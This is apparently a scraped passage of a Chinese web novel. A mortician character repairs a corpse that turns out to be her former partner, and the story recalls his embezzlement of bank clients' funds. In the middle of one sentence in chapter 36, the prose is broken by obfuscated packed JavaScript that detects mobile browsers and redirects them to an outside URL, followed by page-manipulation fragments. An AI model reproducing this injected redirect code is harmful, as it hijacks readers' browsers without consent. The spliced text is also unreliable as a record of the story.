悦凌凌大口刨完了饭,又夹了一大筷子五花肉塞嘴里,嘟囔着说吃完了。平月捧着保温杯,身前的糖醋鱼才吃一小块。他这样急着催促,所有人都懂他不想再听这个话题了,他想让大家快走。 平月端起那盘糖醋鱼,抽了一双筷子,说:“有空还你盘子。” 周志笑着问她还喜欢吃什么菜,他可以帮她端。这一桌的菜,好多都没动过。 悦凌凌听见了,忙端起菜碗往一个大的碗里倒,装得满满的端走了。 平月只要了糖醋鱼,回了房间坐在窗户前慢慢剔鱼刺。 余有为的厨艺非常好,鱼肉做的又脆又焦香。她一个人吃完了一整条不带鱼头的鱼。然后喝了一整杯的热水。 她拿着盘子和保温杯下楼,烧热水洗盘子。钱晓文下来拿了凉水,站在冰箱前灌。 每一次她喝凉水都非常地急,像刚从沙漠里走出来的。 喝完了,她对平月说:“我有渴水症。” 平月有些疑惑,“字面意思上的爱喝水?” 钱晓文笑笑,“对。” “是大学的夏天,我去做兼职,40℃的高温,我站在街上发传单。” 天气又闷又热,太阳像火一样烧灼她,烧得浑身溃烂。汗水成串地从额头留下来,糊了眼睛,糊了鼻子,流进嘴里是又咸又苦的味道。她用舌头舔嘴,嘴巴干得舔一次,干巴的嘴皮就把舌头刮得痛一次,嘴皮浸了口水更干,带着隐隐的刺痛,干得流出了血。汗水滚上去,辣得疼。 她站在餐厅外面,没有遮阳的棚,手里拿着厚厚一沓传单,向每一个路过的人发一张。 那么热的天,每一个人都走得非常匆忙,要么用皮包挡在头顶,要么撑着伞,急速地奔跑,朝两块的地方。 根本没人接她的传单。 她感觉自己快被晒死了也发不完那些传单,可她兼职的内容就是派发传单,要发完了才有工资。 她往街头走,那边有几家公司,有一个小广场,有商场,人流多一些。可是那边没有树,草地的草都被晒干了,枯黄地露出干涸的泥土。地面是水泥地,在40℃的高温下冒着白烟,被烤出来的。 平时人多,但中午的这会,完全没人。 没有傻子会在40℃的中午来公园玩,只有她这个傻逼。 她抬头看天,太阳光晃得眼睛花,头晕乎乎的。她怀疑天气预报说假,这温度肯定有50℃。 就在她迷迷糊糊东想西想时,一瓶冰水递到眼前。那是一瓶冰冻的矿泉水,温度太高,从冰柜里拿出来冷气就化成了水,从瓶身往瓶底滑。浸湿了握着矿泉水瓶的手。 那只手挺好看的,皮肤不白,但手指很长,细细长长的,指骨饱满。 男人的脸也不白,有被太阳晒过的黄黄的脸,是非常有色泽的肌肤。他笑着露出的牙齿却是白白净净的,一颗挨着一颗,很可爱。 钱晓文就是在那一瞬间认识了这个男人,然后得了渴水症。 36. 第 36 章 冰冻矿泉水的味道不好,有点苦涩。钱晓文捏着瓶子皱起了眉。她问平月:“矿泉水有保质期吗?” 平月:“没有吧?听说上面标注的保质期是指瓶身的保质期?” “怎么了?”平月回味过来她询问的意思了,“变味了?” 钱晓文扔掉瓶子,说:“有一点点苦。”苦的不明显,是她喝完了从回口的味里感受出来的,“也可能是我喝水少的缘故。”她不爱喝水,一旦喝水就猛喝。不爱喝水的人,吃过东西后嘴里都会发苦。 平月的热水装满杯了,钱晓文又从冰箱里拿了两瓶矿泉水,一起上楼回房间。 房间门打开又合上。 钱晓文将矿泉水放在桌面,去浴室洗了澡,将内裤换洗了。在日复一日地用碘伏水擦水和勤换内裤之下,她现在好多了,下\体没那么痒了,也没那么臭了,偶尔刺痛一下,在能忍受的范围之内。 内裤晾在通风口,她坐在尸体旁边,着手修复尸体。今天的任务是修复尸体的肚子。 这一坐就是晚上八点。她揉揉脖子,昂头转动脖颈缓解僵硬。然后打了一个哈欠。今天的困意比往常来得早。她去洗冷水脸,冲了澡,瞌睡没那么强烈了。 穿着浴袍站在尸体边,按下扫描作业按钮。红色的光线从尸体的头部扫描到脚,钱晓文看着看着觉得这具尸体的形状有些熟悉,好像在哪儿见过,却一时半会想不起来。 修复完成的地方还没有清理,全是污浊的血肉,只有最初修复的那条腿是清理干净的,导致她左右看了看,也看不出哪儿熟悉,只知道熟悉。 她揉揉眼睛,想去睡觉,往床那边走了几步又倒回来。现在是争分夺秒的时候,要尽可能快的修复完成尸体,才有饭吃,才能离开这里。余有为的饭只够吃一餐,而今天中午的话题太古怪,她没吃饱就提前离开了。 12年…… 是一个令人感到烦闷的一年,她不喜欢回忆那一年。 钱晓文拧开矿泉水,已经不冰了,喝了两口便不喜欢地放下。她拿起手术钳,在装着皮肉的桶里挑挑练练,找出合适的肌肤,贴到破烂的肚子上进行修复。 凌晨一点,她修复完肚子。凌晨四点,修复完胸膛。视野有些发花,她越来越困了,脑袋很沉。 钱晓文放下工具,给手消了毒,直接躺上床。睡得很快,很沉。没有发现屋子里出现了一个人,站在床和尸体担架的中间。那人偏着头,看了看床上的人,又偏过头,看了看担架上的尸体。笑了一下。 那人用钱晓文用过的手术钳,从桶里捻起一张椭圆形的皮,腥臭的血从皮上滴下来,滚在地毯上,很快浸透进去。 举着那块皮,隔空对着钱晓文的脸,笑出了声。 钱晓文做噩梦了,梦见有人拿着一张脸皮往她的脸上贴,那是刚剥下来的脸皮,带着上一个人的温度,黏糊糊地贴在她的脸上,血腥挤满鼻腔,血流进嘴里,非常难吃的味道,腥得人想要呕吐。 梦里的她一阵阵反胃,呕吐着醒了。她下意识往自己脸上摸,有点粘手,放下手摊开在面前看,手上有血。钱晓文登时懵了,回过神后翻身下床冲进卫生间,站在镜子前照。 她的脸上有血,一点点血,像手上沾了血,抬手去摸而留下的。 钱晓文又看自己的手。指甲缝里和手指夹缝之间,还有手掌边缘有血,凝固的,沾在手上的时间很长了。 昨晚没洗干净? 她已经记不得了,当时很困很困,前所未有的困,只想睡觉。随手消完毒就睡了,也许真的没洗干净。 深深呼吸一口,跳得急速的心脏缓缓平静下去。洗漱出来,时间是早上七点。只睡了三个小时,难怪呼吸时有些胸闷。她拧开矿泉水喝了一口,常温的味道不好,特别是喝完之后,舌头有一点点苦涩。 她掉头去浴室,捧水漱口,那苦涩顿时没了。 肚子很饿,她摸着肚子去出餐口,探手往里面摸。空的。说明作业交得还不够多。整具尸体完全复原,才会出餐吧? 她坐到尸体前,端详它,仍旧熟悉。说不出的熟悉感。还差胸膛左上侧、锁骨、脖子和脸了。等修复完这些地方,她大概就知道哪里熟悉了。 穿针引线,她开始想她的前男友,应该是前男友了吧? 钱晓文说不清算不算前男友,毕竟她没有和他提分手。 那个夏天认识的男人,皮肤黄黄的,手和牙齿却很好看……对了……钱晓文知道哪里熟悉了,这具尸体的手,长得和她前男友很像。 她的前男友叫胡皓。在派发传单的那个夏天,因为一瓶冰冻矿泉水而认识。钱晓文接过矿泉水,问他要电话号码,说下一次给他钱。 胡皓笑了,露出一排整洁的牙齿,“一瓶矿泉水呀,用不着还啦。” 他问:“你是做兼职吗?哪个大学的?” 钱晓文:“工大。” 胡浩:“我也是,我是大三金融系的。你呢?” 钱晓文:“大一,汉语系。” “哦~”胡浩的声音拉得长长的,“小学妹。”他笑起来很阳光,比头顶的太阳还要晃眼。 他说这么热的天,你别发传单了,我请你吃冰激凌去。钱晓文摇摇头说得发,要赚钱。胡浩说我给你找个轻松点的兼职,就在学校门口,这边远,发传单赚不了几个钱,来回路费还贵。 钱晓文问他怎么来这边了。他说社团活动,来这边拉赞助。 这边有商业圈,钱晓文就是想着这边兼职多,来这边找,然后找了个发传单的工作。 最后,钱晓文跟着胡浩去吃冰激凌了。那是她第一次吃,一个小碗,里面卧两勺圆溜溜的冰激凌,就要35元。那是09年,钱晓文觉得贵死了。她买一件短袖还要不了35元呢。 可胡浩说没事,刚拉了赞助有不少钱,这个好吃,你尝尝。 钱晓文不懂这个赞助是什么意思,社团活动拉赞助,她吃冰激凌。不过他说没事就没事。他拿出手机,那个年代最新款的直屏手机,手指在屏幕上快速翻看,递到她面前,“这个怎么样,学校门口的花店,一个星期去两天,平时晚上没课也可以去帮忙,一个月500,周末两天包饭。去得多,还能加钱。” 钱晓文亮了亮眼,她觉得这个兼职比手里的冰激凌还甜。她点头,一口答应:“我去!” 兼职就这样定下来。她和胡浩一起回学校去花店面试,传单丢垃圾桶了。花店老板是一个温柔的姐姐,只问了钱晓文的年龄和专业,就叫她来上班。周末要两天都在,早上八点来开门,晚上七点关门。需要帮忙包花、插花、修剪、换水、清洁、养绿植等等。 是一份轻松又愉快的兼职。钱晓文从大一做到大二。后来去肯德基做收银员,因为这个工资更高,但累。干得越多,拿得越多。 钱晓文没课时,从早晨6点干到晚上23点,中间只有十五分钟的休息时间。累晕了。是胡浩送她去医院的,医生说营养不良,操劳过度。挂了吊液。 胡浩说你还是学生,不用这样拼命。钱晓文扯扯嘴,说家里要钱,她还得给自己赚钱交学费,还有生活费。 胡浩说可以申请助学金、奖学金。钱晓文说申请过了,下不来。奖学金更不可能拿,比她努力认真的同学非常多,轮不到她。她甚至没有加社团,后来需要修学分,加了一个不用去打卡的慈善社团,就是帮偏远地区的少数民族搞捐募。她一次没去过。 胡浩说我帮你想办法。大二下学期,钱晓文拿到了助学金,第二档次,有四千元,刚刚够学费。 那一年,胡浩去实习了,做金融。钱晓文不懂,只听他说钱很多,要么不来钱,要么来钱一大把。头一年,胡浩跟人搞投资,赚了300万。他给钱晓文租了一个房子,交了学费,给她生活费。还转了十万给她用。 钱晓文说不好。胡浩说你当我女朋友就好了啊。 他是那样一个人,英俊的,聪明的,很强大的。他比她早进入社会,肯定认识很多优秀的女生,偏偏他说,就喜欢你。 钱晓文的家庭条件非常不好,不好到她读大学除了赚钱给自己用,还要打钱给家里。胡浩不在乎,他说他会赚钱。他确实很会赚钱。钱晓文第一次有了可以依靠别人的感觉,让她想哭。 住进新房子的第一晚,她抱着香喷喷的软乎乎的滑溜溜的天丝被哭得稀里哗啦。 胡浩从后面抱住她。拍着她的背,哄她睡觉。 他们像每一对热恋中的情侣那样,小公寓里全是他们的情侣物件,水杯、碗筷、睡衣、拖鞋、牙刷,连剃毛刀都有一蓝一粉的一对。落地窗前的植物是成对的,花盆是绿色和红色组成的对。 钱晓文不去做兼职了,胡浩每个月给她一万块钱。有时怕她不够用,会在月中再转一万给她。赚的钱到账更是转一大笔钱,钱晓文最大额度收到过188万的进账。 人穷的时候,一块钱抠成几笔用。人富有的时候,会出现补偿心理。曾经没有的、不敢买的、喜欢却买不到的,通通买回家。钱晓文就是这样,什么都想买,什么都想要。 每一件东西在买的瞬间特别喜欢,让她感到愉悦,尽管买回家只是堆在角落里积灰。 小公寓装不下她的东西了,胡浩买了一个大房子。他们搬到大房子的第一年,胡浩跟人的投资亏了,亏了五百万。这是一个能接受的数字。胡浩只是变得更忙了。他需要把亏掉的钱找回来。因为他的工资不高,只有5000元的基础工资。那些大把大把的钱是他做投资理财赚的。 亏的500万赚回来了,还多赚了100万。 人天生有野心。赚了一笔,只会想再赚一笔,再赚更大一笔。 就这样,胡浩又一次跟人投资时,把这些年赚的钱全亏掉了,还倒欠200万。 200万,一个很小的数字。他能承受,其实参照他那一行的水来讲,约等于没有欠。因为那200万是从别人的存款账户里划出来的。他只需要再物色一些客户,提出一部分钱,找几个靠谱的理财产品,把钱投进去就可以得到更大的利益去补足亏空。 他做的,永远是把别人鸡蛋放在他想放的篮子里,鸡蛋生出鸡蛋,他赚了。鸡蛋没生出鸡蛋,他也不算亏——在鸡蛋主人找鸡蛋之前。 第二年,胡浩持续性亏钱,同时,鸡蛋主人来找鸡蛋了,要把从别人存款账户里取出来的钱补回去,那时,胡浩已经欠下600万。宝马车卖了,房子也卖了。堪堪填上。 他们又换回小房子住。钱晓文出来实习了,在平城七中,交初一语文。没有工资。手里的钱越来越少,胡浩越来越忙,有事没事去喝酒,说是谈生意。 他那点子生意,钱晓文从不懂也变得懂了,就是找人拿钱,找银行里熟悉的几个人,看看能挪动谁的钱,拿走用一用。 钱晓文总觉得不靠谱,用了一个,只会想用两个、三个、四个……用多了,会生出一种别人钱是自己钱、可以随便用的错觉。如果一直亏下去,拿什么去填别人的钱? 钱晓文说你换个工作吧,你很聪明很厉害,随便换一份工作都能拿到高工资。 胡浩问她为什么不换?当老师又没工资,不知道在执着什么。 钱晓文没说话。她的梦想就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109654|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是当老师。在那个年代,老师是一份体面又轻松的工作。尤其是钱晓文带的那个班的学生非常乖。而且校长对她说,她可以留下来,没编制,有机会可以考一考。 那一年,胡浩挪用客户的钱被发现了,不起诉的前提是立刻还钱,并且额外赔付200万。那是一个天文数字,他挪用了两千万,做国外投资。 胡浩喝了酒,在房间里大骂。骂带他入行的兄弟不借钱给他,骂那些人就是来骗他的钱。 钱晓文的奢侈品全卖掉也补不上这个大窟窿。胡浩去贷款,找父母拿钱,让钱晓文也找父母拿钱。钱晓文说家里没钱。胡浩说这些年你给家里打了多少钱我能不知道? 是的,钱晓文每次收到胡浩的钱,都会先给家里打一笔。可钱晓文是一个能用钱的人,她的家里人也同样啊。每个月打回去的钱从最初的“多了多了我们用不着这么多”,到后来的“刚刚够用”,最后变成“不够用啊,你爸吃药要多少钱,我要多少钱,完全不够啊,你再打点钱回来”。 胡浩的父母打钱来了,家里能卖的东西都卖掉了,贷款也下来了,还差500万。 钱晓文只好给家里打电话,然后挨了一顿骂,她爸把电话挂断了。后面再打,打不通。 胡浩嗤笑。钱晓文当作没听见,她知道自己爸妈是什么样的人,而她也知道自己是什么样的人。她爱胡浩,尽管现在的他一无所有。 钱晓文用自己的身份证去贷款,贷了100万,又在手机上找各种能贷的渠道,凑了300万给胡浩。 实习期还没结束,她就辞掉了学校的工作。同办公室的老师们都在挽留她。七中很好,福利好,工资也好。可惜,她现在没工资啊,如果她没有认识胡浩,没有过那几年富裕的生活,她一定会不择手段留在七中。 她在网上找工作。工资都很低,除了酒吧公主、足浴店技师之类的。就在她要放弃时,她看见了殡仪馆的招牌信息,搬尸工、入殓师。她不懂,但不妨碍她在看见上面写的四位数工资时心动了。 她直接去了殡仪馆面试,没有先打电话。接待她的人有点疑惑,问她今天有面试啊?钱晓文没出声。那个人将她交给一个年纪挺大穿戴整洁的老头,老头领着她去看尸体。 对,一句话不说,直接就去看尸体。那是钱晓文第一次近距离看尸体,吓傻了。呆滞在那儿,反应过来后扑到打开的窗户探出头吐了。中午吃的煎饺全部吐了出来。 老头说:“你不适合。” 钱晓文把嘴巴一擦,说我坐公交车来的,这边路绕,我晕车。 老头笑了笑,说:“你没预约面试吧?” 钱晓文说:“对,我需要这份工作。” “今晚跟我去村里收尸。” 今晚、村里、收尸,真是三个晴天霹雳一样的字眼组成一句炸弹似的话。钱晓文硬生生接住了。 当晚,月亮高高升起的时候,钱晓文跟着他,还有另一个很强壮的男人,开着面包车去了偏远村里。山路颠簸,钱晓文怀疑这是拐卖,要把她卖去村里。 浑身紧绷,手指揪着裤子,眼神不敢离开身边的老头,生怕老头趁自己不防备给自己来一砖头拍晕。 胆战心惊一路,终于到了漆黑的村庄。真的是收尸,从一间破烂的房子里抬出一具尸体。抬到面包车上,就放在钱晓文座椅的后面,尸体横躺着。那具尸体有些时日了,身上长了蛆,很臭。苍蝇嗡嗡环绕。钱晓文闻的第一口就吐了,吐干净了,还是搭把手将尸体放平稳。 隔着椅背,她挨着尸体,回了市区。 老头说:“你留下吧。工资给你一万二,买五险。搬尸一具800,做得好还可以涨工资,我们这儿工资都可以谈。有机会你也可以转编。” 钱晓文欣喜若狂。她第一次知道,靠自己,也可以拿到这么高的工资。 虽然是和尸体打交道。她很不喜欢尸体,每天都只能硬着头皮去搬尸,因为她要钱。 搬得多了,渐渐爱上了。老头带她学入殓,殡仪馆人手不够的时候,她还会火化。 那半年,钱晓文靠自己的双手,让她和胡浩的贷款逐月还上,还换了一个稍微敞亮的房子,房子不大,但光照好,住着心情愉快。 人生的变故是在搬家的第三天晚上,钱晓文和胡浩在谈他找工作的事。胡浩不在银行干了,那里面水太深,他才在里面干三四年,就湿得差点淹死自己。但要去做别的什么工作,胡浩也说不出来。毕业第一笔工资拿了200万,现在转行干别的,真下不了手。看工作招聘,总觉得这里不好,那里不好。 谈到一半,钱晓文接到电话,说交汇路77号发生了一起车祸。两名司机当场死亡,医院让殡仪馆直接去拉尸。 这种尸体拉回殡仪馆,有80%的概率会先修复,让家人见最后一面,再火化。搬家加入殓,钱晓文这个月又能拿到一笔不错的奖金。 她穿上厚外套,让胡浩先自己想想。没去殡仪馆汇合,而是从家里出发去交汇路,她家离得不远,是坐公交车去的,在交汇路的公交站台下车,得经过交汇路133号,才能到77号。 有个老年人抱着小小的幼童在散步,头发花白了,但精神很好。深冬的夜晚,穿着单薄的棉外套,悠悠地走着,哼着歌,时不时对怀里的宝贝笑一笑,伸手去捏捏鼻尖。一脸慈祥。 针扎了手,鲜红的血珠从无名指指腹滚出来,钱晓文痛得一阵恍惚,从回忆里抽回神。她呆呆盯着冷白的墙壁,朦朦胧胧想起来了,那个老人……就是赵淑萍啊,年轻的赵淑萍…… 他们真的见过,在平城交汇路口。 37. 第 37 章 钱晓文又开始渴了,渴得令人焦躁,迫不及待地去找水。桌上的矿泉水变得常温偏热了。她匆忙跑下楼,从冰箱里抽出一瓶冰水疯狂灌。 灌完水,体内腾升而起的焦虑被压下去,舌头微微发苦。她皱了皱眉,将水瓶扔掉。手伸进冰箱想再拿一瓶,却没有矿泉水了,只剩下甜饮料和汽水。 她抹掉嘴角的水迹,上了楼。 如果这个房子里的他们全部认识,那梁威在那时扮演什么角色?周志又是什么角色?悦凌凌?陈宇南?范明胜?张情?余有为?赵淑萍?平月又是什么角色? 钱晓文想不起来,那一段记忆在后面的乱七八糟的杂事之间变得异常模糊。分不清是不愿意回忆还是她和胡浩的事确实模糊了那段记忆。 其实她连那天有没有下雪,具体是什么事都记不清了,刚刚能记起赵淑萍完全是一种电波感应,记忆突然就鲜明起来了。 如果因为那一天发生的事将他们聚集在这栋房子里,目的是杀光他们所有人,那么凶手可能是谁?是在他们之间,还是之外? 钱晓文想不明白,也不愿意去想。总归都要死,而她要活着出去。 活着出去的第一个前提,是拥有食物。她坐下来,锁骨那一圈缝歪了。她取下针线,将那片肌肤扒下来,扔进桶里泡着。准备先修复头颅。 这颗头颅损伤严重,颅骨变了形,下颌凹陷骨头断裂,应当是被人重力砸的。得先正形。摸索到另一边完整的下颌线,卡进口腔的拇指被一颗牙齿刮痛了。那种诡异的熟悉感又漫了上来。这次来得又凶又猛,这种熟悉感让她毫不迟疑的想到一个人,一个非常熟悉的人。 她仓皇地掰开尸体的嘴,用工具卡开,手电筒探进嘴里,在明亮的电筒灯下,那两排牙齿,一颗挨着一颗,异常可爱的出现在她视野里。 像第一次看见它们那样可爱。 “嘭。” 手电筒掉到地上,顺着地砖咕噜噜滚到床边停止。灯光晃了晃,电筒光熄了。 钱晓文怔在那里,呆了许久,眼睛张到极致大,瞳孔惊慌地震颤。不可能的……不可能…… 她一遍又一遍告诉自己不可能,不可能是他。她离开之前,他已经失踪很久了,打电话不接,找不到人。他不可能出现在这里,还是以这样的方式…… 钱晓文一把拽过桌上温热的矿泉水,猛灌了一口。是不是他,修复完就一清二楚了。 这一次,她修复得非常快,没有那种要修复到特别精细的地步,她只需要把这张脸大致地复原,先复原…… 皮肉一寸一寸地填补上去,缝合。略厚的嘴唇,挺立的鼻梁,浓厚的眉毛,圆形的眼窝,宽阔的额头。那是一张偏圆形的脸,是很乖巧的脸型,却因为长了一双剑眉和挺拔宽立的鼻梁而显得英俊,非常富有男人味。 钱晓文收了针,药水倒在脸上,用柔软的刷子清扫,抹布一寸一寸抹去被药水冲下来的血水,在她移动的手掌下方,那张脸,一点一点地露出来。 剑眉,深眼窝,高鼻梁,厚嘴唇。 每一寸,每一个五官都是那么的熟悉,比她照镜子看自己还要熟悉,是对方死掉二十年,她也能闭着眼睛描绘出来的一张脸。 胡浩。 她那不知道算不算是前男友的男朋友。 是她认识二十多年的男人,是她一同生活接近二十年的男人,是陪她经历过人生每一个重要节点的男人…… 死了。 死得面目全非,尸体躺在她的房间里,陪着她睡了十几个日与夜,由她一点一点修复回原貌。 钱晓文突然爆发出惨叫,嚎得撕心裂肺。嚎完了,匍匐在胡浩的尸体上,哭得痛彻心扉。 …… 关于胡浩未来工作方向的话题没有谈完,或者说只是短暂性的谈妥了。胡浩愿意去找一份工作先做着,房地产消瘦。那时候的房地产很盛行,房价越来越高,投资房地产的人越来越多。卖得好,提成高。 胡浩一直是很聪明、有计划、有口才的人。 进房地产第一个月就卖出三套房。那个月底薪才2000元,提成就拿了24000元。直接转正,老板还发了1000元的奖金给他。那个月的工资比钱晓文的多。 钱晓文是穷孩子,生下来的骨子里就带着“穷”字,尽管她拥有过几年的奢侈生活,在生活变回苦难时,她仍旧能迅速转变回苦难模式,像每一个穷苦的人那样生活。 在胡浩一个月拿到两万多工资时,她是由衷地为胡浩感到开心。她觉得只要两个人努力,日子会越来越好,等还完所有贷款,他们还是有机会住上大房子的。 可胡浩不这样认为。2万和200万,中间差了一串零,他完全受不了自己一个月30天,没有休假地在外面奔波找人买房,带人看房,不管下雨还是大太阳,不管太阳把头发烫焦或者暴雨把衣服全部淋湿,他一直一直在外面奔波,一个月才拿2万?他毕业后的第一个月拿了200万。 天差地别,鸿沟一样的数字让他感到烦闷、抑郁。 500万对胡浩而言是一个简单的数字,2万在他眼里,和掉在地上的一毛钱没区别——看也不想看——那个年代,路上掉五角钱都没人捡了,除了两岁的小孩。 他忍受不了,换了一份工作。金融公司CEO助理,工资8000,各项补贴加上去还不过15000。没干半个月他就走了,还是回去卖房。 房卖得多了,认识很多人。穷的,富有的,工薪家庭,资本家。每个人买房所看待的点都不一样,穷人扒拉着房内的一平方米一平方米算、看、研究。公摊、绿化、周边配套设施、孩子能上哪所学校、有什么医院、买菜方不方便、有没有公交车、去哪里近不近远不远,全都要问得一清二楚。简直烦人,这种人100平方嫌贵,70平方嫌小,磨破嘴皮卖一套赚不到2000元。 胡浩越来越烦,只要一看见那种穷人,转头让给同事去。他不在公司窝着,每天去外面,拿着以前在银行的资源,上门给人推销房产。这些人合胡浩口味,他们手里捏着大把钞票,只看商业圈价格昂贵的房子,如果胡浩给他们好价,他们能一口气入好几套做投资生意。 资本家买别墅、买大平层,不自己住,他们买给猫猫狗狗住,买给佣人住。那些人更喜欢买地自己修,只要钱砸得够多,就能拿到一块好地,修苏州园林自己住。平城首富就在闹市区买了一块静地,砌起红墙,自己修小洋楼。周围新建高楼大厦都不敢修高了,怕侵犯首富隐私,怕阻挡首富家的阳光。 胡浩最高的一个月赚了58万。 老板把他捧成宝,走到哪夸到哪,四处炫耀。胡浩还是不爽,他走在首富家的红墙外面,看着宾利从雕花大门里缓缓驶出,宾利穿过马路时,前后车流都下意识减速,让宾利能顺畅地汇进车流。 平城的首富坐在车里,不需要说一句话,不需要任何动作,就那样坐在车里,悄无声息的让四面八方的人主动礼让。 这是钱和权,是胡浩真正想要的,一直追求的。 一个月赚58万又怎么样?还没有那辆车的一个轮子贵。 可是他拿什么去搏更多的钱,去搏宾利? 胡浩仍旧得卖房子,他还有贷款没还,钱晓文的贷款也没还。他继续卖房子给资本家,卖给曾经的资源。卖多了,路子广了,认识的人多了。银行的兄弟告诉他有个新路子,只需要投50万,下个月就能拿到180万。 50万,不多不少,胡浩刚刚有。他没有告诉钱晓文,投了50万进去。果然,下个月拿到了比180万还多10万的190万。他给兄弟分了红,请人吃饭喝酒,让人下回有路子再带带他。 他还是想回银行。来钱快,赚得多,同样风险高。可风险不高怎么赚大钱?他失败过一次,会比以前更有经验。 兄弟介绍了别的朋友给他认识,他跟着投资了几次,不过半年时间就赚了500万,把他的所有贷款全还掉了。钱晓文还欠着300万,他拿着仅剩的30万又搞了一次投资,这回赚得少,只有50万,他继续投继续赚,直到赚了200万,打100万给钱晓文还贷款,留100万做周转资金。 那段时间钱晓文不在状态,他给她100万,她毫无反应,就像没看见似的。经常走神。胡浩是很久之后才发现的,问她,她只是摇头,说最近工作太累。胡浩说我现在可以赚钱了,你太累就休息,不用去上班。她还是摇头,要上的。 胡浩便没管她了。毕竟他的钱还是太少,他得多赚,赚特别多,才能让两个人都有喘息的机会。 他从房地产辞职了,带着100万通过关系进了另一家银行,私有的大银行,尽管知道他有前科,但因为钱塞得够多,关系够硬,还是进去了。 进去的前两年,胡浩的运气非常不错,但凡投,必定赚。他从一个小小金融员混上了主管。手里带了六个人,一起做投资。 主管嘛,身份上了,身价也得上去。他不能再像以前那样50万50万的投,得加注。没有200万500万都拿不出手,下不了注。 不过,他有钱。哪怕失败几次都能很好地调转过来。他和钱晓文又换回了大房子,他想让钱晓文辞职,钱晓文不同意。胡浩总觉得钱晓文怪怪的,说不出来哪里怪,就是多年在一起的感受。她开始变得沉默,可以说是沉闷。让胡浩愈发难受。他开始回家少,因为他认识的人的身份地位愈发高,需要应酬的越多。 钱晓文也不管他不问他,一种他爱回不回的状态。转账给她她也收,该买她还是买,一点不吝啬。这些年压抑的购物欲再次爆发,比曾经更膨胀,学会了为一个包而配货。各种奢侈家具往家里搬,高定服装挂满墙。他装劳力士的手表盒都被她腾去装各种奇形怪状的首饰,据说是奢侈货,而他的劳力士就静静歪在展示柜角落吃灰,每次戴的时候他还得自己擦一擦。 胡浩不明白她每天去给尸体化妆需要穿什么奢侈品。穿奢侈品送丧?让贫穷的尸体体验一把曾经没有过的奢侈? 胡浩说你以前不是喜欢当老师吗,要回七中吗,去一中也可以,要不回工大吧,大学老师没那么累。 她就摇头,刚从殡仪馆回来,脖子上还挂着那串鸽子血的宝石项链。花了1800万买的。 胡浩看着那串红得滴血的项链,捂脸。应酬会上总有人给他介绍对象,他说自己有了。对方就追问是做什么的,说他女朋友家庭很好吧,不然他怎么可能看得上。 胡浩只是笑笑,说家庭条件还行。对方又问现在做什么工作的。胡浩可说不出来殡仪馆这句话,说出来就有一种“以后你死了想怎么打扮,让我老婆给你入殓送葬吧”的错觉,想想都寒颤。 他说她的工作就是逛街配货。一些女的顿时发出羡慕的声音,夹着嗓子说真羡慕。说他是个好男人。说他女朋友一定是上辈子拯救了宇宙而认识他。 胡浩也说不清,第一次遇见钱晓文是非常热的天,天气预报只显示39℃,因为再高一点,就得停工放假。这是国家企业不愿意看见的。所有天气预报永远只有39℃,但有人去测过室外温度,48℃。 他刚拉完赞助,准备打车回学校。穿过公园往路边走时,看见她抱着一堆传单,站在公园入口,仰头往天。眯着眼睛,太阳照得她的脸像蜜一样细腻粘稠。嘴巴干到出了血,舔嘴的舌头是发白的。 不知道为什么,他去小商店买了一瓶冻水,递给她。可能是因为第一次看见这样能吃苦的女孩子,身上的韧性和毅力让他爱上了。他带她去吃冰激凌,轻易地跟他走了,像一只流浪猫,让他忍不住要关爱。于是,给她找兼职,帮她申请助学金,慢慢成为能让她可以依靠的人。 像她自己说的,外面有很多漂亮的女人,有很多出色的女人,他接触过很多,有钱漂亮又出色。这些女人能让刚出社会的他少走几十年弯路。可一想到她,他就忍不住流出浓烈的感情。他喜欢她,那干出血的嘴唇,脸上的黏汗,被太阳光线照得几近透明的疲倦却有神的蜜色瞳孔。他有脑力,有远见,有目光,他可以凭借自己走上成功的路,这是他所追求的,不是靠女人。虽然后来确实靠了钱晓文才从一大堆的欠债中走出来。 钱晓文仍旧在殡仪馆上班,工资也拿得比以前高了。可胡浩看不上那点工资,别说他看不上,估计钱晓文自己也看不上。那点工资还不够钱晓文买一双袜子。 胡浩没再劝她换工作,他当上主管后越来越忙。债券、基金、信托、期货,越来越多的业务,需要投资的方向越来越多。有些钱投出去,一年两年收不回来。有些投出去,半年能收回来,却是小数目。可重重叠叠堆砌,也能变成大数字。 在一次和几个行长一同吃饭,他得到了一个大项目,需要一个亿的资金。 行长更是直接投了3个亿。问他愿不愿入。胡浩纠结又心动,因为数字太大了,一个不好,可能会变得比以前最苦的那段日子更惨。他说考虑一下。行长笑笑,没劝他。 这种事情,多劝一个人,自己就得少赚一份。胡浩懂,他有时候让朋友跟着投,也不劝。总之就是看在我们关系好的份上,赚钱的话给你带到了,入不入你随意。 胡浩想回去和钱晓文商量一下,但那晚,钱晓文没回来,打电话说是到第四殡仪馆学习去了,要一周后回来。 可投资的事不等人,这种大投资更是争分夺秒。胡浩把能撤回来的钱撤回来,凑了个2000万。给行长打电话,行长说2000万啊……太少了,不行啊。你再凑凑……什么,钱投出去了,撤不回来,能撤回来的都撤回来了。啊……这样吧,我借你5000万,剩余的你再想想办法。 胡浩给兄弟们打电话,都说拿不出那么多钱。这一行就是这样,每个人手里没几个钱,大数字全在流动,被栓死在理财、外汇、证券等等各种项目上。 胡浩想放弃。转念一想,几个行长都投了,绝对是笔大收入。行长们的内部消息,比他这个主管稳多了。这是一次博弈的最佳机会,有信息量最稳靠的人领他入行。博赢了,他可以转行做自己的生意去,哪怕生意亏了他也有足够的钱潇洒完这一生。博输了……不,只要人不死,就不会有彻底输的一天。 他能站起来一次,两次,就会站起来无数次。没有东西可以击倒他。 多年的顺风顺水让他无比自信。他又动了客户的钱,将那些钱撤出理财,全部挪到期货上。 一个亿,他凑齐了。两眼一闭,全部投出去。 行长夸他真是有眼光有追求,后生可畏,年轻人就是有胆量有勇气。他们说,不会让你空手而归的,这一次,必定大赚。 信誓旦旦。 